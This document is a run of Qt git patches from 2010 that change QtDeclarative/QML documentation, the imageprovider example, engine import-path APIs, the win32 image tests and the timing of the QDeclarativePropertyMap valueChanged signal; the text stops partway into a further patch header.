Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 29 Mar 2010 10:59:38 +1000 Subject: Doc fixes --- doc/src/declarative/qmlruntime.qdoc | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/doc/src/declarative/qmlruntime.qdoc b/doc/src/declarative/qmlruntime.qdoc index 827b905..cfef536 100644 --- a/doc/src/declarative/qmlruntime.qdoc +++ b/doc/src/declarative/qmlruntime.qdoc @@ -56,12 +56,20 @@ installed in a production environment, assuming that it is not already present in the system. It is generally packaged alongside Qt. - To deploy an application using the QML runtime, you have two options. You can either write your - own Qt application including a QDeclarative view and deploy it the same as - any other Qt application (not discussed further on this page). Alternatively you can write a main QML file for - your application, and run your application using the \c qml executable. If a qml file - is passed as an argument to the \c qml executable, it will automatically run it. + To deploy an application using the QML runtime, you have two options: + \list + \o Write your own Qt application including a QDeclarative view and deploy it the same as + any other Qt application (not discussed further on this page), or + \o Write a main QML file for your application, and run your application using the included \c qml tool. + \endlist + + To run an application with the \c qml tool, pass the filename as an argument: + + \code + qml myQmlFile.qml + \endcode + Deploying a QML application via the \c qml executable allows for QML only deployments, but can also include custom C++ modules just as easily. Below is an example of how you might structure a complex application deployed via the qml runtime, it is a listing of the files that would -- cgit v0.12 From be07335e426ef726a219e183d13b4a8f98bd9907 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 11:29:03 +1000 Subject: Update for import dir and imageProvider changes. --- .../declarative/imageprovider/imageprovider-example.qml | 3 ++- examples/declarative/imageprovider/imageprovider.cpp | 14 ++++++++++++-- 2 files changed, 14 insertions(+), 3 deletions(-) diff --git a/examples/declarative/imageprovider/imageprovider-example.qml b/examples/declarative/imageprovider/imageprovider-example.qml index a1f2794..a895821 100644 --- a/examples/declarative/imageprovider/imageprovider-example.qml +++ b/examples/declarative/imageprovider/imageprovider-example.qml @@ -1,5 +1,5 @@ import Qt 4.6 -import ImageProviderCore 1.0 +import "ImageProviderCore" //![0] ListView { width: 100 @@ -16,6 +16,7 @@ ListView { } Image { source: modelData + sourceSize: "50x25" } } } diff --git a/examples/declarative/imageprovider/imageprovider.cpp b/examples/declarative/imageprovider/imageprovider.cpp index 011a63b..4c4aa94 100644 --- a/examples/declarative/imageprovider/imageprovider.cpp +++ b/examples/declarative/imageprovider/imageprovider.cpp @@ -61,11 +61,21 @@ class ColorImageProvider : public QDeclarativeImageProvider { public: // This is run in a low priority thread. - QImage request(const QString &id) { - QImage image(100, 50, QImage::Format_RGB32); + QImage request(const QString &id, QSize *size, const QSize &req_size) + { + if (size) *size = QSize(100,50); + QImage image( + req_size.width() > 0 ? req_size.width() : 100, + req_size.height() > 0 ? req_size.height() : 50, + QImage::Format_RGB32); image.fill(QColor(id).rgba()); QPainter p(&image); + QFont f = p.font(); + f.setPixelSize(30); + p.setFont(f); p.setPen(Qt::black); + if (req_size.isValid()) + p.scale(req_size.width()/100.0, req_size.height()/50.0); p.drawText(QRectF(0,0,100,50),Qt::AlignCenter,id); return image; } -- cgit v0.12 From f3b7cfd52b9a2c5ec4bef5b2b94f89dd83fd705d Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 11:33:08 +1000 Subject: Add importPathList, mainly for doc purposes. --- src/declarative/qml/qdeclarativeengine.cpp | 34 +++++++++++++++++++++--------- src/declarative/qml/qdeclarativeengine.h | 1 + 2 files changed, 25 insertions(+), 10 deletions(-) diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index dea5a40..a153f8f 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1809,25 +1809,39 @@ QUrl QDeclarativeEnginePrivate::Imports::baseUrl() const Adds \a path as a directory where installed QML components are defined in a URL-based directory structure. - For example, if you add \c /opt/MyApp/lib/imports and then load QML - that imports \c com.mycompany.Feature, then QDeclarativeEngine will look + \sa importPathList() +*/ +void QDeclarativeEngine::addImportPath(const QString& path) +{ + if (qmlImportTrace()) + qDebug() << "QDeclarativeEngine::addImportPath" << path; + Q_D(QDeclarativeEngine); + d->fileImportPath.prepend(path); +} + + +/*! + Returns the list of directories with the engine searches for + installed modules. + + For example, if \c /opt/MyApp/lib/imports is in the path, then QML that + imports \c com.mycompany.Feature will cause the QDeclarativeEngine to look in \c /opt/MyApp/lib/imports/com/mycompany/Feature/ for the components - provided by that module. A \c qmldir file is required for definiting the + provided by that module. A \c qmldir file is required for defining the type version mapping and possibly declarative extensions plugins. - The engine searches in the base directory of the qml file, then - the paths added via addImportPath(), then in the directory containing the + In addition to this list, + the engine searches in the directory containing the application executable (QCoreApplication::applicationDirPath()), then the paths specified in the \c QML_IMPORT_PATH environment variable, then the builtin \c ImportsPath from QLibraryInfo. + \sa addImportPath() */ -void QDeclarativeEngine::addImportPath(const QString& path) +QStringList QDeclarativeEngine::importPathList() const { - if (qmlImportTrace()) - qDebug() << "QDeclarativeEngine::addImportPath" << path; - Q_D(QDeclarativeEngine); - d->fileImportPath.prepend(path); + Q_D(const QDeclarativeEngine); + return d->fileImportPath; } /*! diff --git a/src/declarative/qml/qdeclarativeengine.h b/src/declarative/qml/qdeclarativeengine.h index 19e81b6..a24962e 100644 --- a/src/declarative/qml/qdeclarativeengine.h +++ b/src/declarative/qml/qdeclarativeengine.h @@ -78,6 +78,7 @@ public: void clearComponentCache(); void addImportPath(const QString& dir); + QStringList importPathList() const; bool importExtension(const QString &fileName, const QString &uri); void setNetworkAccessManagerFactory(QDeclarativeNetworkAccessManagerFactory *); -- cgit v0.12 From bb86abefa742f82f30fd07aee23e5f3164a47875 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Mar 2010 11:50:23 +1000 Subject: Fix svg and big image auto tests on win32. --- .../declarative/qdeclarativeimage/data/heart-win32.png | Bin 0 -> 12621 bytes .../qdeclarativeimage/data/heart200-win32.png | Bin 0 -> 8062 bytes .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 10 ++++++++-- 3 files changed, 8 insertions(+), 2 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeimage/data/heart-win32.png create mode 100644 tests/auto/declarative/qdeclarativeimage/data/heart200-win32.png diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart-win32.png b/tests/auto/declarative/qdeclarativeimage/data/heart-win32.png new file mode 100644 index 0000000..351da13 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeimage/data/heart-win32.png differ diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart200-win32.png b/tests/auto/declarative/qdeclarativeimage/data/heart200-win32.png new file mode 100644 index 0000000..4976ff9 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeimage/data/heart200-win32.png differ diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index c1bf2b8..21a513b 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -260,7 +260,8 @@ void tst_qdeclarativeimage::pixmap() void tst_qdeclarativeimage::svg() { - QString componentStr = "import Qt 4.6\nImage { source: \"" SRCDIR "/data/heart.svg\"; sourceSize.width: 300; sourceSize.height: 300 }"; + QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.svg").toString(); + QString componentStr = "import Qt 4.6\nImage { source: \"" + src + "\"; sourceSize.width: 300; sourceSize.height: 300 }"; QDeclarativeComponent component(&engine); component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); QDeclarativeImage *obj = qobject_cast(component.create()); @@ -271,6 +272,8 @@ void tst_qdeclarativeimage::svg() QCOMPARE(obj->height(), 500.0); #if defined(Q_OS_MAC) QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart-mac.png")); +#elif defined(Q_OS_WIN32) + QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart-win32.png")); #else QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart.png")); #endif @@ -283,6 +286,8 @@ void tst_qdeclarativeimage::svg() QCOMPARE(obj->height(), 500.0); #if defined(Q_OS_MAC) QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart200-mac.png")); +#elif defined(Q_OS_WIN32) + QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart200-win32.png")); #else QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart200.png")); #endif @@ -291,7 +296,8 @@ void tst_qdeclarativeimage::svg() void tst_qdeclarativeimage::big() { - QString componentStr = "import Qt 4.6\nImage { source: \"" SRCDIR "/data/big.jpeg\"; sourceSize.width: 256; sourceSize.height: 256 }"; + QString src = QUrl::fromLocalFile(SRCDIR "/data/big.jpeg").toString(); + QString componentStr = "import Qt 4.6\nImage { source: \"" + src + "\"; sourceSize.width: 256; sourceSize.height: 256 }"; QDeclarativeComponent component(&engine); component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); QDeclarativeImage *obj = qobject_cast(component.create()); -- cgit v0.12 From 7cd20e4b002bdc9ce049ee189502128b890f3d96 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 11:51:43 +1000 Subject: doc Clean up structure and remove duplication. --- doc/src/declarative/modules.qdoc | 196 +++++++++++++-------------------------- 1 file changed, 66 insertions(+), 130 deletions(-) diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc index f90e23b..2c2da2c 100644 --- a/doc/src/declarative/modules.qdoc +++ b/doc/src/declarative/modules.qdoc @@ -42,159 +42,99 @@ /*! \page qdeclarativemodules.html \title Modules -\section1 QML Modules. -QUERY: Is a directory with no qmldir really a module? Assumed NO. +\section1 QML Modules -A \bold module is a collection of QML types. These types can be defined in QML, or in C++ -through a QDeclarativeExtensionPlugin. They can then be collected into a directory to comprise -a module. +A \bold {QML module} is a collection of QML types. They allow you to organize your QML content +into independent units. Modules have an optional versioning mechanism that allows for independent +upgradability of the modules. -Additionally a module can also be a collection of types which was compiled into your application, see \l{Extending QML in C++}. +There are two types of modules: +location modules (defined by a URL), +and +installed modules (defined by a URI). + +Location modules types are defined in QML files and \l{QDeclarativeExtensionPlugin}{QML C++ plugins} +in a directory refered to directly by +the location URL, either on the local filesystem, or as a network resource. The URL that locates them +can be relative, in which case they actual URL is resolved by the QML file containing the import. +When importing a location module, a quoted URL is used: + +\code +import "https://qml.nokia.com/qml/example" 1.0 +import "https://qml.nokia.com/qml/example" as NokiaExample +import "mymodule" 1.0 +import "mymodule" +\endcode + +Installed modules can \e only be on the local file system or in application C++ code. Again they +are defined in QML files and \l{QDeclarativeExtensionPlugin}{QML C++ plugins} in a directory, +but the directory is indirectly referred to by the URI. The mapping to actual content is either +by application C++ code registering a C++ type to a module URI (see \l{Extending QML in C++}), +or in the referenced subdirectory of a path on the QDeclarativeEngine::importPathList(). +When importing a location module, an un-quoted URI is used: + +\code +import com.nokia.qml.mymodule 1.0 +import com.nokia.qml.mymodule as MyModule +\endcode + + +For either type of module, a \c qmldir file in the module directory defines the content of the module. This file is +optional for location modules, but only for local filesystem content or a single remote content with a namespace. +The second exception is explained in more detail in the section below on Namespaces. -While a directory containing types can be used to organize QML components, QML modules also contain a \c qmldir file. -This file provides a manifest of all types available in the module, -and allows versioned imports (among other things). A directory containing only QML files or plugins behaves similarly -to a module, but a QML module requires a \c qmldir file (unless it is written in C++ and compiled into your application). \section2 The \c qmldir File -QML modules containing installed files and remote content require a file \c qmldir which specifies the -mapping from all type names to versioned QML files. It is a list of lines of the form: +Installed QML modules and remote content without a namespace require a file \c qmldir which +specifies the mapping from all type names to versioned QML files. It is a list of lines of the form: \code # - + [] +internal plugin [] \endcode # lines are ignored, and can be used for comments. lines are used to add QML files as types. - is the type being made available; is a version + is the type being made available; the optional is a version number like \c 4.0; is the (relative) file name of the QML file defining the type. -plugin [] lines are used to add plugins (QDeclarativeExtensionPlugin subclasses -written in C++) to the module. The line starts with the keyword 'plugin'; is the -name of the library; is an optional argument specifying the full path to the directory -containing the plugin file, if it is omitted then the directory is assumed to be the same as -the directory of the qmldir file. Note that is not usually the same as the file name -of the plugin binary, which is platform dependent e.g. the library MyAppTypes would produce a libMyAppTypes.so on linux and MyAppTypes.dll on windows. - -The same type can be provided by different files in different versions, in which -case later earlier versions (eg. 1.2) must precede earlier versions (eg. 1.0), -since the \e first name-version match is used. - Installed files do not need to import the module of which they are a part, as they can refer -to the other QML files in the module as relative (local) files. -If the module is imported from a remote location, those files must nevertheless be listed in -the \c qmldir file. Internal files can be marked with the \c internal keyword, to ensure -they are not visible outside the module: +to the other QML files in the module as relative (local) files, but +if the module is imported from a remote location, those files must nevertheless be listed in +the \c qmldir file. Types which you do not wish to export to users of your module +may be marked with the \c internal keyword: \code internal \endcode -Installed and remote files \e must be referred to by version information described above, +\c plugin [] lines are used to add \l{QDeclarativeExtensionPlugin}{QML C++ plugins} +to the module. is the +name of the library. is an optional argument specifying the full path to the directory +containing the plugin file; if it is omitted then the directory is assumed to be the same as +the directory of the \c qmldir file. Note that is not usually the same as the file name +of the plugin binary, which is platform dependent; e.g. the library MyAppTypes would produce +a libMyAppTypes.so on Linux and MyAppTypes.dll on Windows. + +The same type can be provided by different files in different versions, in which +case later earlier versions (eg. 1.2) must precede earlier versions (eg. 1.0), +since the \e first name-version match is used and a request for a version of a type +can be fulfilled by one defined in an earlier version of the module. + +Installed and remote files without a namespace \e must be referred to by version information described above, local files \e may have it. The versioning system ensures that a given QML file will work regardless of the version of installed software, since a versioned import \e only imports types for that version, leaving other identifiers available, even if the actual installed version might otherwise -use those identifiers. - -\section1 Importing Modules - -To use types from a module it must be imported using the \c import statement. Successive -import statements override earlier import statements, however, since imports have version -qualifiers, changes in modules do not alter the semantics of imports. - -While it is possible to import some modules without specifying a version this is only advisable -during prototyping, where version numbers mean very little. The rest of the time it is recommended that -you take advantage of the versioning capabilities of the language. - -You can import a directory in the same way that you import a module, except that you cannot specify a version -number. This will import all the types in that directory as QML files or as part of plugins. - -Types \link adding-types defined in C++\endlink can be from types your application defines, standard QML types, -or types defined in plugins. To use any such types, you must import -the module defining them. For example, to use types from Qt, import it: - -\code -import Qt 4.6 -\endcode - -This makes available all types in Qt that were available in Qt 4.6, regardless of the -actual version of Qt executing the QML. So even if Qt 4.7 adds a type that would conflict -with a type you defined while using 4.6, that type is not imported, so there is no conflict. - -Types defined by plugins are made using QDeclarativeExtensionPlugin. Installed plugins and QML files -can both contribute types to the same module. - - -\section1 Importing Types Defined in QML +provide those identifiers. -When importing types \link components defined using QML\endlink, the syntax depends -on whether or not the types are installed on the system. - - -\section2 Installed QML Files - -To import types defined in QML files that are installed on the system running the -QML, a URI import is used: - -\code -import com.nokia.Example 1.0 -\endcode - -Files imported in this way are found on the paths added by QDeclarativeEngine::addImportPath(), -which by default only inludes \c $QTDIR/qml, so the above would make available those types -defined in \c $QTDIR/qml/com/nokia/Example which are specified as being in version 1.0. -Installed plugins and QML files can both contribute types to the same module. - -The specification of types to versions is given by a special file, \c qmldir which must -exist in the module directory. The syntax is described below. - -The \c -L option to the \l {qmlviewer}{runtime} application also adds paths to the import path. - - -\section2 Local QML Files - -To import types defined in QML files in directories relative to the file importing them, -a quoted import directory is used: - -\code -import "path" -\endcode - -This allows all components defined in the directory \c path to be used in -the component where this statement appears. Because no version number is specified, -all types in the directory will be imported. - -In this case, and only this case, it is not necessary for the directory to include -a \c qmldir file, nor is it necessary to provide a version qualifier. The basis of this is -that the files in the subdirectory are assumed to be packaged with the importer, and therefore -they form a single versioned unit. It is however recommended that you add a qmldir file and create -a QML module, as this provides additional options such as more flexible versioning. If the directory -is a module then you can use a version qualifier, like below - -\code -import "path" 1.0 -\endcode - - -\section2 Remote QML Files - -To import types defined in QML file at arbitrary network locations, a quoted absolute URL is used: - -\code -import "http://url/.../" 1.0 -\endcode - -This works the same as for relative directory imports, except that the target location contain a QML module (\e must -include a \c qmldir file), and a version qualifier must be given. - -\section1 Namespaces - Named Imports +\section2 Namespaces - Named Imports When importing content it by default imports types into the global namespace. You may choose to import the module into another namespace, either to allow identically-named @@ -220,13 +160,9 @@ import Qt 4.6 as Nokia import Ovi 1.0 as Nokia \endcode -There is one special module, called Qt, which contains all of the types that are part of -Qt Declarative. While it still needs to be imported, this module can be used in all QML -files. - -While import statements are need to make any types available in QML, the directory of the +While import statements are needed to make any types available in QML, the directory of the current file is implicitly loaded. This is the exact same as if you had added 'import "."' to -every QML file. The effect of this is that you can automatically use Types defined in C++ plugins +every QML file. The effect of this is that you can automatically use types defined in C++ plugins or QML files if they reside in the same directory. @@ -234,6 +170,6 @@ or QML files if they reside in the same directory. /* -See original requirement QT-558. +Original requirement is QT-558. */ -- cgit v0.12 From 123172f61f1f1bba6389850835ec946ca6ee82de Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 11:52:08 +1000 Subject: doc: qmlviewer -> qml runtime --- doc/src/declarative/examples.qdoc | 8 ++++---- doc/src/declarative/focus.qdoc | 2 +- doc/src/declarative/network.qdoc | 4 ++-- doc/src/declarative/qdeclarativedebugging.qdoc | 6 +++--- doc/src/declarative/qdeclarativei18n.qdoc | 6 +++--- doc/src/declarative/qmlruntime.qdoc | 6 +++--- doc/src/declarative/tutorial.qdoc | 4 ++-- 7 files changed, 18 insertions(+), 18 deletions(-) diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc index b7da508..1b1948e 100644 --- a/doc/src/declarative/examples.qdoc +++ b/doc/src/declarative/examples.qdoc @@ -51,21 +51,21 @@ sub-directory that show how to use various aspects of QML. In addition, the applications. These demos are intended to show integrated functionality rather than being instructive on specifice elements. -To run the examples and demos, use the included \l {qmlviewer}{qmlviewer} +To run the examples and demos, use the included \l {qml runtime} application. It has some useful options, revealed by: \code - bin/qmlviewer -help + bin/qml -help \endcode For example, from your build directory, run: \code - bin/qmlviewer $QTDIR/demos/declarative/flickr/flickr-desktop.qml + bin/qml $QTDIR/demos/declarative/flickr/flickr-desktop.qml \endcode or \code - bin/qmlviewer $QTDIR/demos/declarative/samegame/samegame.qml + bin/qml $QTDIR/demos/declarative/samegame/samegame.qml \endcode \section1 Examples diff --git a/doc/src/declarative/focus.qdoc b/doc/src/declarative/focus.qdoc index d7e890c..8188a1d 100644 --- a/doc/src/declarative/focus.qdoc +++ b/doc/src/declarative/focus.qdoc @@ -96,7 +96,7 @@ Text { An \l Item requests focus by setting the \c {Item::focus} property to true. For very simple cases simply setting the \c {Item::focus} property is sometimes -sufficient. If we run the following example in the \c qmlviewer, we see that +sufficient. If we run the following example in the \l{qml runtime}, we see that the \c {keyHandler} element has \e {active focus} and pressing the 'A', 'B' or 'C' keys modifies the text appropriately. diff --git a/doc/src/declarative/network.qdoc b/doc/src/declarative/network.qdoc index e642257..3d73602 100644 --- a/doc/src/declarative/network.qdoc +++ b/doc/src/declarative/network.qdoc @@ -69,7 +69,7 @@ Network transparency is supported throughout QML, for example: \o WebViews - the \c url property of WebView (obviously!) \endlist -Even QML types themselves can be on the network - if \l qmlviewer is used to load +Even QML types themselves can be on the network - if the \l{qml runtime} is used to load \tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", this will load from \tt http://example.com/mystuff/World.qml just as it would for a local file. Any other resources that \tt Hello.qml referred to, usually by a relative URL, would @@ -131,7 +131,7 @@ See the \tt demos/declarative/flickr for a real demonstration of this. All network access from QML is managed by a QNetworkAccessManager set on the QDeclarativeEngine which executes the QML. By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager using QDeclarativeEngine::setNetworkAccessManager() as appropriate for the policies of your application. -For example, the \l qmlviewer tool sets a new QNetworkAccessManager which +For example, the \l{qml runtime} tool sets a new QNetworkAccessManager which trusts HTTP Expiry headers to avoid network cache checks, allows HTTP Pipelining, adds a persistent HTTP CookieJar, a simple disk cache, and supports proxy settings. diff --git a/doc/src/declarative/qdeclarativedebugging.qdoc b/doc/src/declarative/qdeclarativedebugging.qdoc index 3ef9ce7..7ba33f5 100644 --- a/doc/src/declarative/qdeclarativedebugging.qdoc +++ b/doc/src/declarative/qdeclarativedebugging.qdoc @@ -60,7 +60,7 @@ Rectangle { \section1 Debugging Transitions When a transition doesn't look quite right, it can be helpful to view it in slow -motion to see what is happening more clearly. \l {qmlviewer} provides a +motion to see what is happening more clearly. The \l{qml runtime} provides a "Slow Down Animations" menu option to facilitate this. @@ -108,10 +108,10 @@ To start the debugger, open a QML project and click the "QML Inspect" mode, then \section2 Standalone qmldebugger tool To run the standalone \c qmldebugger tool, set an environment variable \c QML_DEBUG_SERVER_PORT -to an available port number and run the \c qmlviewer. For example: +to an available port number and run the \l{qml runtime}. For example: \code - QML_DEBUG_SERVER_PORT=3768 qmlviewer myqmlfile.qml + QML_DEBUG_SERVER_PORT=3768 qml myqmlfile.qml \endcode Then in another process, start the \c qmldebugger tool, enter the port number into the corresponding spinbox diff --git a/doc/src/declarative/qdeclarativei18n.qdoc b/doc/src/declarative/qdeclarativei18n.qdoc index 9c10a46..d1a74be 100644 --- a/doc/src/declarative/qdeclarativei18n.qdoc +++ b/doc/src/declarative/qdeclarativei18n.qdoc @@ -63,7 +63,7 @@ capabilities are described more fully in: \o \l {Qt Linguist Manual} \endlist -You can test a translation in \l {qmlviewer} using the -translation option. +You can test a translation with the \l{qml runtime} using the -translation option. \section1 Example @@ -88,8 +88,8 @@ lupdate hello.qml -ts hello.ts Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide a translation and create the release file \c hello.qm. -Finally, we can test the translation in qmlviewer: +Finally, we can test the translation in the \l{qml runtime}: \code -qmlviewer -translation hello.qm hello.qml +qml -translation hello.qm hello.qml \endcode */ diff --git a/doc/src/declarative/qmlruntime.qdoc b/doc/src/declarative/qmlruntime.qdoc index 710a030..f4f8a5f 100644 --- a/doc/src/declarative/qmlruntime.qdoc +++ b/doc/src/declarative/qmlruntime.qdoc @@ -42,8 +42,8 @@ /*! \page qmlruntime.html \title Qt Declarative UI Runtime + \keyword qml runtime \ingroup qttools - \keyword qmlviewer This page documents the \e{Declarative UI Runtime} for the Qt GUI toolkit, and the \c qml executable which can be used to run apps @@ -141,8 +141,8 @@ import QDeclarativeViewer 1.0 as QDeclarativeViewer Item { - QDeclarativeViewer.Screen { id: qmlviewerScreen } - state: (qmlviewerScreen.orientation == QDeclarativeViewer.Screen.Landscape) ? 'landscape' : '' + QDeclarativeViewer.Screen { id: screen } + state: (screen.orientation == QDeclarativeViewer.Screen.Landscape) ? 'landscape' : '' } \endcode diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc index 310b776..a159a58 100644 --- a/doc/src/declarative/tutorial.qdoc +++ b/doc/src/declarative/tutorial.qdoc @@ -114,11 +114,11 @@ In this case, we specify that our text element should be horizontally centered i \section2 Viewing the example -To view what you have created, run the qmlviewer (located in the \c bin directory) with your filename as the first argument. +To view what you have created, run the \l{qml runtime} (located in the \c bin directory) with your filename as the first argument. For example, to run the provided completed Tutorial 1 example from the install location, you would type: \code -bin/qmlviewer $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml +bin/qml $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml \endcode */ -- cgit v0.12 From 418bd7fa550da97ac27a34c72e75ec7ab0448d78 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 29 Mar 2010 11:57:41 +1000 Subject: Don't emit QDeclarativePropertyMap::valueChanged() before the value has changed. Task-number: QTBUG-9386 --- src/declarative/util/qdeclarativeopenmetaobject.cpp | 10 ++++++++++ src/declarative/util/qdeclarativeopenmetaobject_p.h | 2 ++ src/declarative/util/qdeclarativepropertymap.cpp | 18 +++++++++--------- src/declarative/util/qdeclarativepropertymap.h | 2 +- .../tst_qdeclarativepropertymap.cpp | 4 +++- 5 files changed, 25 insertions(+), 11 deletions(-) diff --git a/src/declarative/util/qdeclarativeopenmetaobject.cpp b/src/declarative/util/qdeclarativeopenmetaobject.cpp index 8c23354..70ecf95 100644 --- a/src/declarative/util/qdeclarativeopenmetaobject.cpp +++ b/src/declarative/util/qdeclarativeopenmetaobject.cpp @@ -225,6 +225,7 @@ int QDeclarativeOpenMetaObject::metaCall(QMetaObject::Call c, int id, void **a) if (d->data[propId].first != *reinterpret_cast(a[0])) { propertyWrite(propId); d->writeData(propId, *reinterpret_cast(a[0])); + propertyWritten(propId); activate(d->object, d->type->d->signalOffset + propId, 0); } } @@ -270,6 +271,11 @@ QVariant &QDeclarativeOpenMetaObject::operator[](const QByteArray &name) return d->getData(*iter); } +QVariant &QDeclarativeOpenMetaObject::operator[](int id) +{ + return d->getData(id); +} + void QDeclarativeOpenMetaObject::setValue(const QByteArray &name, const QVariant &val) { QHash::ConstIterator iter = d->type->d->names.find(name); @@ -326,6 +332,10 @@ void QDeclarativeOpenMetaObject::propertyWrite(int) { } +void QDeclarativeOpenMetaObject::propertyWritten(int) +{ +} + void QDeclarativeOpenMetaObject::propertyCreated(int, QMetaPropertyBuilder &) { } diff --git a/src/declarative/util/qdeclarativeopenmetaobject_p.h b/src/declarative/util/qdeclarativeopenmetaobject_p.h index ec5ac17..9bb4c34 100644 --- a/src/declarative/util/qdeclarativeopenmetaobject_p.h +++ b/src/declarative/util/qdeclarativeopenmetaobject_p.h @@ -90,6 +90,7 @@ public: QVariant value(int) const; void setValue(int, const QVariant &); QVariant &operator[](const QByteArray &); + QVariant &operator[](int); int count() const; QByteArray name(int) const; @@ -109,6 +110,7 @@ protected: virtual void propertyRead(int); virtual void propertyWrite(int); + virtual void propertyWritten(int); virtual void propertyCreated(int, QMetaPropertyBuilder &); QAbstractDynamicMetaObject *parent() const; diff --git a/src/declarative/util/qdeclarativepropertymap.cpp b/src/declarative/util/qdeclarativepropertymap.cpp index fcea515..d3e1d7c 100644 --- a/src/declarative/util/qdeclarativepropertymap.cpp +++ b/src/declarative/util/qdeclarativepropertymap.cpp @@ -55,7 +55,7 @@ public: QDeclarativePropertyMapMetaObject(QDeclarativePropertyMap *obj, QDeclarativePropertyMapPrivate *objPriv); protected: - virtual void propertyWrite(int index); + virtual void propertyWritten(int index); private: QDeclarativePropertyMap *map; @@ -68,13 +68,13 @@ class QDeclarativePropertyMapPrivate : public QObjectPrivate public: QDeclarativePropertyMapMetaObject *mo; QStringList keys; - void emitChanged(const QString &key); + void emitChanged(const QString &key, const QVariant &value); }; -void QDeclarativePropertyMapPrivate::emitChanged(const QString &key) +void QDeclarativePropertyMapPrivate::emitChanged(const QString &key, const QVariant &value) { Q_Q(QDeclarativePropertyMap); - emit q->valueChanged(key); + emit q->valueChanged(key, value); } QDeclarativePropertyMapMetaObject::QDeclarativePropertyMapMetaObject(QDeclarativePropertyMap *obj, QDeclarativePropertyMapPrivate *objPriv) : QDeclarativeOpenMetaObject(obj) @@ -83,14 +83,14 @@ QDeclarativePropertyMapMetaObject::QDeclarativePropertyMapMetaObject(QDeclarativ priv = objPriv; } -void QDeclarativePropertyMapMetaObject::propertyWrite(int index) +void QDeclarativePropertyMapMetaObject::propertyWritten(int index) { - priv->emitChanged(QString::fromUtf8(name(index))); + priv->emitChanged(QString::fromUtf8(name(index)), operator[](index)); } /*! \class QDeclarativePropertyMap - \since 4.7 + \since 4.7 \brief The QDeclarativePropertyMap class allows you to set key-value pairs that can be used in bindings. QDeclarativePropertyMap provides a convenient way to expose domain data to the UI layer. @@ -268,9 +268,9 @@ const QVariant QDeclarativePropertyMap::operator[](const QString &key) const } /*! - \fn void QDeclarativePropertyMap::valueChanged(const QString &key) + \fn void QDeclarativePropertyMap::valueChanged(const QString &key, const QVariant &value) This signal is emitted whenever one of the values in the map is changed. \a key - is the key corresponding to the value that was changed. + is the key corresponding to the \a value that was changed. \note valueChanged() is \bold NOT emitted when changes are made by calling insert() or clear() - it is only emitted when a value is updated from QML. diff --git a/src/declarative/util/qdeclarativepropertymap.h b/src/declarative/util/qdeclarativepropertymap.h index 513089f..e0b7ce3 100644 --- a/src/declarative/util/qdeclarativepropertymap.h +++ b/src/declarative/util/qdeclarativepropertymap.h @@ -76,7 +76,7 @@ public: const QVariant operator[](const QString &key) const; Q_SIGNALS: - void valueChanged(const QString &key); + void valueChanged(const QString &key, const QVariant &value); private: Q_DECLARE_PRIVATE(QDeclarativePropertyMap) diff --git a/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp b/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp index 22c5581..d23de43 100644 --- a/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp +++ b/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp @@ -123,7 +123,7 @@ void tst_QDeclarativePropertyMap::clear() void tst_QDeclarativePropertyMap::changed() { QDeclarativePropertyMap map; - QSignalSpy spy(&map, SIGNAL(valueChanged(const QString&))); + QSignalSpy spy(&map, SIGNAL(valueChanged(const QString&, const QVariant&))); map.insert(QLatin1String("key1"),100); map.insert(QLatin1String("key2"),200); QCOMPARE(spy.count(), 0); @@ -144,7 +144,9 @@ void tst_QDeclarativePropertyMap::changed() QCOMPARE(txt->text(), QString('X')); QCOMPARE(spy.count(), 1); QList arguments = spy.takeFirst(); + QCOMPARE(arguments.count(), 2); QCOMPARE(arguments.at(0).toString(),QLatin1String("key1")); + QCOMPARE(arguments.at(1).value(),QVariant("Hello World")); QCOMPARE(map.value(QLatin1String("key1")), QVariant("Hello World")); } -- cgit v0.12 From 067d5e0dc318e767a817bdb2bf6f0f647cf49909 Mon Sep 17 00:00:00 2001 From: Bea 